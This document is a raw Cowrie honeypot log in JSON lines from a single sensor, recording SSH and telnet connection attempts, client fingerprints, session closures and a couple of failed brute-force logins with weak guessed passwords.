{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:37.649646Z","src_ip":"119.195.89.96","session":"2b40f1938ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:37.853346Z","src_ip":"119.195.89.96","session":"2b40f1938ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":54720,"dst_ip":"159.203.135.109","dst_port":23,"session":"78ddd8499dc8","protocol":"telnet","message":"New connection: 62.77.140.101:54720 (159.203.135.109:23) [session: 78ddd8499dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:37.996968Z"}
{"eventid":"cowrie.session.closed","duration":30.551188707351685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:38.027591Z","src_ip":"107.152.33.170","session":"34a7671a0ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704129934310913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:38.056648Z","src_ip":"107.152.33.170","session":"ca8b1f164319","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teste","password":"12345","message":"login attempt [teste/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:38.690034Z","src_ip":"119.195.89.96","session":"2b40f1938ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.722864151000977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:39.092520Z","src_ip":"62.77.140.101","session":"75680fe2b4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:39.892920Z","src_ip":"119.195.89.96","session":"2b40f1938ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":54728,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d3c8baf11a1","protocol":"telnet","message":"New connection: 62.77.140.101:54728 (159.203.135.109:23) [session: 8d3c8baf11a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:40.573944Z"}
{"eventid":"cowrie.session.closed","duration":30.76383352279663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:42.177409Z","src_ip":"138.197.5.236","session":"058e17ef2a19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":37636,"dst_ip":"159.203.135.109","dst_port":23,"session":"6115912e8152","protocol":"telnet","message":"New connection: 138.197.5.236:37636 (159.203.135.109:23) [session: 6115912e8152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:42.543583Z"}
{"eventid":"cowrie.session.closed","duration":30.185438632965088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:43.068308Z","src_ip":"62.77.140.101","session":"3bc2bde60900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06680703163147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:43.089982Z","src_ip":"62.77.140.101","session":"5c0e8c2e3ef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.074128866195679,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:43.302284Z","src_ip":"189.30.157.153","session":"2d334197e82f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74256730079651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:44.064845Z","src_ip":"62.77.140.101","session":"9fa49a60feed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7078800201416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:44.226033Z","src_ip":"138.197.5.236","session":"b259617f047c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":39624,"dst_ip":"159.203.135.109","dst_port":23,"session":"4670113106df","protocol":"telnet","message":"New connection: 107.152.33.170:39624 (159.203.135.109:23) [session: 4670113106df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:44.259188Z"}
{"eventid":"cowrie.session.closed","duration":31.328532457351685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:44.375357Z","src_ip":"62.77.140.101","session":"16e901f67a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74458122253418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:45.748794Z","src_ip":"138.197.5.236","session":"1428f51f35bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":41026,"dst_ip":"159.203.135.109","dst_port":23,"session":"838462735184","protocol":"telnet","message":"New connection: 138.197.5.236:41026 (159.203.135.109:23) [session: 838462735184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:46.450611Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41164,"dst_ip":"159.203.135.109","dst_port":22,"session":"38209b5ac835","protocol":"ssh","message":"New connection: 159.203.92.129:41164 (159.203.135.109:22) [session: 38209b5ac835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:46.508689Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f0590ca90bf","protocol":"telnet","message":"New connection: 62.77.140.101:42552 (159.203.135.109:23) [session: 5f0590ca90bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:46.513281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:46.516328Z","src_ip":"159.203.92.129","session":"38209b5ac835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:46.522568Z","src_ip":"159.203.92.129","session":"38209b5ac835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"1234567","message":"login attempt [alias/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:46.532767Z","src_ip":"159.203.92.129","session":"38209b5ac835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":39626,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5434f9192b","protocol":"telnet","message":"New connection: 107.152.33.170:39626 (159.203.135.109:23) [session: ac5434f9192b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:46.855814Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42558,"dst_ip":"159.203.135.109","dst_port":23,"session":"461576331e5d","protocol":"telnet","message":"New connection: 62.77.140.101:42558 (159.203.135.109:23) [session: 461576331e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:47.009803Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:47.538683Z","src_ip":"159.203.92.129","session":"38209b5ac835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42560,"dst_ip":"159.203.135.109","dst_port":23,"session":"d50ce7101718","protocol":"telnet","message":"New connection: 62.77.140.101:42560 (159.203.135.109:23) [session: d50ce7101718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:48.477160Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":39638,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2dafa3447aa","protocol":"telnet","message":"New connection: 107.152.33.170:39638 (159.203.135.109:23) [session: c2dafa3447aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:50.152825Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42570,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd2b1a815af4","protocol":"telnet","message":"New connection: 62.77.140.101:42570 (159.203.135.109:23) [session: bd2b1a815af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:50.335676Z"}
{"eventid":"cowrie.session.closed","duration":30.965238332748413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:51.138656Z","src_ip":"107.152.33.170","session":"144f7b80af2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95987057685852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:52.052934Z","src_ip":"107.152.33.170","session":"018dc9e09705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":42580,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c611150fdf1","protocol":"telnet","message":"New connection: 62.77.140.101:42580 (159.203.135.109:23) [session: 1c611150fdf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:52.452707Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":39644,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc366a75a9ef","protocol":"telnet","message":"New connection: 107.152.33.170:39644 (159.203.135.109:23) [session: dc366a75a9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:52.564952Z"}
{"eventid":"cowrie.session.closed","duration":30.290165185928345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:53.105866Z","src_ip":"62.77.140.101","session":"20e1374b571e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":60868,"dst_ip":"159.203.135.109","dst_port":23,"session":"4532cdd6b60f","protocol":"telnet","message":"New connection: 107.152.33.170:60868 (159.203.135.109:23) [session: 4532cdd6b60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:53.686410Z"}
{"eventid":"cowrie.session.closed","duration":30.99505066871643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:54.301004Z","src_ip":"138.197.5.236","session":"e1bf40cafa6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":60880,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d0fa1c8b842","protocol":"telnet","message":"New connection: 107.152.33.170:60880 (159.203.135.109:23) [session: 4d0fa1c8b842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:54.562514Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":60888,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb66bd594ff","protocol":"telnet","message":"New connection: 107.152.33.170:60888 (159.203.135.109:23) [session: dcb66bd594ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:55.666664Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":49504,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f266d6df7f0","protocol":"telnet","message":"New connection: 138.197.5.236:49504 (159.203.135.109:23) [session: 0f266d6df7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:56.076256Z"}
{"eventid":"cowrie.session.closed","duration":30.26989483833313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:57.215337Z","src_ip":"138.197.5.236","session":"29a086d8911e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":39976,"dst_ip":"159.203.135.109","dst_port":23,"session":"878e4988de4a","protocol":"telnet","message":"New connection: 62.77.140.101:39976 (159.203.135.109:23) [session: 878e4988de4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:57.507363Z"}
{"eventid":"cowrie.session.closed","duration":31.186102628707886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:57.813485Z","src_ip":"138.197.5.236","session":"f602ae4fa2b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.384432554244995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:58.242486Z","src_ip":"62.77.140.101","session":"ab7b5cb62dcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21056365966797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:59.030581Z","src_ip":"107.152.33.170","session":"55969b987b3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98411750793457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:59.131763Z","src_ip":"107.152.33.170","session":"781ef53cde2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01048254966736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:59.147460Z","src_ip":"62.77.140.101","session":"eb95aee8e6d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":39986,"dst_ip":"159.203.135.109","dst_port":23,"session":"a816dcd2a896","protocol":"telnet","message":"New connection: 62.77.140.101:39986 (159.203.135.109:23) [session: a816dcd2a896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:59.226524Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":39988,"dst_ip":"159.203.135.109","dst_port":23,"session":"b550bb09e4ee","protocol":"telnet","message":"New connection: 62.77.140.101:39988 (159.203.135.109:23) [session: b550bb09e4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:07:59.456724Z"}
{"eventid":"cowrie.session.closed","duration":30.828169107437134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:01.223541Z","src_ip":"138.197.5.236","session":"072a63f8746a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":39992,"dst_ip":"159.203.135.109","dst_port":23,"session":"458228c604cf","protocol":"telnet","message":"New connection: 62.77.140.101:39992 (159.203.135.109:23) [session: 458228c604cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:01.527593Z"}
{"eventid":"cowrie.session.closed","duration":30.476677179336548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:03.202418Z","src_ip":"138.197.5.236","session":"a5af7a0962ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":48608,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac84439ecdf","protocol":"telnet","message":"New connection: 107.152.33.170:48608 (159.203.135.109:23) [session: 3ac84439ecdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:03.230615Z"}
{"eventid":"cowrie.session.closed","duration":30.310905933380127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:04.079352Z","src_ip":"62.77.140.101","session":"3638ab9b6f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":57078,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7d01844b683","protocol":"telnet","message":"New connection: 138.197.5.236:57078 (159.203.135.109:23) [session: d7d01844b683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:04.187080Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":48614,"dst_ip":"159.203.135.109","dst_port":23,"session":"5393ca2178c9","protocol":"telnet","message":"New connection: 107.152.33.170:48614 (159.203.135.109:23) [session: 5393ca2178c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:04.284496Z"}
{"eventid":"cowrie.session.closed","duration":31.49173855781555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:04.580456Z","src_ip":"107.152.33.170","session":"092abbcc1265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704621076583862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:06.177511Z","src_ip":"62.77.140.101","session":"d59b3fce5eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26459240913391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:07.025336Z","src_ip":"107.152.33.170","session":"0223a2f59d6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.813186168670654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:07.145062Z","src_ip":"62.77.140.101","session":"179576844b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.733794450759888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:08.775049Z","src_ip":"107.152.33.170","session":"7461278ea30b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":48618,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b7ab24b960","protocol":"telnet","message":"New connection: 107.152.33.170:48618 (159.203.135.109:23) [session: 66b7ab24b960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:08.996693Z"}
{"eventid":"cowrie.session.closed","duration":31.085489988327026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:09.082337Z","src_ip":"62.77.140.101","session":"78ddd8499dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675053119659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:11.248898Z","src_ip":"62.77.140.101","session":"8d3c8baf11a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781593084335327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:13.325069Z","src_ip":"138.197.5.236","session":"6115912e8152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":37722,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ed5ad87b02","protocol":"telnet","message":"New connection: 62.77.140.101:37722 (159.203.135.109:23) [session: d4ed5ad87b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:14.508430Z"}
{"eventid":"cowrie.session.closed","duration":30.845732927322388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:15.104779Z","src_ip":"107.152.33.170","session":"4670113106df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":38346,"dst_ip":"159.203.135.109","dst_port":23,"session":"58d2dd52a6fa","protocol":"telnet","message":"New connection: 107.152.33.170:38346 (159.203.135.109:23) [session: 58d2dd52a6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:16.021551Z"}
{"eventid":"cowrie.session.closed","duration":30.18228530883789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:17.037971Z","src_ip":"107.152.33.170","session":"ac5434f9192b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807302951812744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:17.320507Z","src_ip":"62.77.140.101","session":"5f0590ca90bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3292977809906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:08:17.779810Z","src_ip":"138.197.5.236","session":"838462735184","protocol":"telnet"}
